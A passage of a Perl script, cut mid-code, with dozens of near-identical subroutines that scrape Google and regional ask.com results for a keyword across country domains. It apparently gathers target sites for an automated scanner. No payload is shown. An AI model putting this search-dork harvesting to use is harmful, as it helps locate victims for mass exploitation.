($jack19.uri_escape($key)."%2Bsite%3Aac%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bj() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Abj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Abm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bt() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Abt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Abw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub io() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Aio%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Abn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bf() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Abf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kh() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Akh%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Acm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cv() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Acv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ky() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Aky%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cf() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Acf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cx() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Acx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Acw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cy() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Acy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Afk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fo() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Afo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gh() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Agh%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gd() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Agd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gp() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Agp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Agu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Agn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gy() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Agy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Ahm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub iq() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Aiq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Ajm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ki() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Aki%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Akw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub la() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Ala%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lb() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack19.uri_escape($key)."%2Bsite%3Alb%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Alr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mo() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Amo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Amg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mv() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Amv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mp() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Amp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mq() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Amq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Amr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub yt() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Ayt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub md() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Amd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mc() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Amc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub me() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Ame%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Amz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Anr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nc() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Anc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ng() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Ang%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Anu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Apw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ps() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aps%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cq() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Acq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub re() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Are%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lc() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Alc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Apm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub st() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Ast%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub rs() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Ars%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gs() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Ags%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sl() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Asl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sx() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Asx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sb() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Asb%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub so() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Aso%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub su() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack19.uri_escape($key)."%2Bsite%3Asu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Arokn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Asr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Atz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tl() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Atl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Atg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Atk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Atn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tc() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Atc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Avu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub wf() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Awf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ws() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ye() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Aye%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub zw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Azw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub askCA() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askCA\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askDE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askDE\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askIT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askIT\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askUK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askUK\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askFR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = 